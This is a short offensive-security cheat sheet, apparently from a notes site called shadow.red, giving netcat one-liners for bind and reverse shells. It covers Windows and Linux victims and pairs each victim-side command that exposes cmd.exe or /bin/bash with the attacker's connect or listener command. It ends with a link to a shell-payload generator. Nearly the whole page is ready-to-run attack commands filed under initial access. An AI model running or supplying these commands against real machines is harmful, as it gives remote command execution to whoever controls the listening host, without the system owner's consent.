>_ shadow.red

Bind and Reverse Shells with Netcat

Initial Access Shells linux windows

Bind shell - Windows victim

nc.exe -nvlp 1234 -e cmd.exe

Attacker:

nc -nv 10.4.21.221 1234

Bind shell - Linux victim

nc -nvlp 1234 -c /bin/bash

Attacker:

nc -nv 10.10.3.2 1234

Reverse shell - Windows victim to Linux attacker

Victim:

nc.exe -nv 10.10.0.2 1234 -e cmd.exe

Reverse shell - Linux victim

nc -nv 10.10.0.2 1234 -e /bin/bash

Listener

nc -nvlp 1234

Reference for shell payloads

https://www.revshells.com/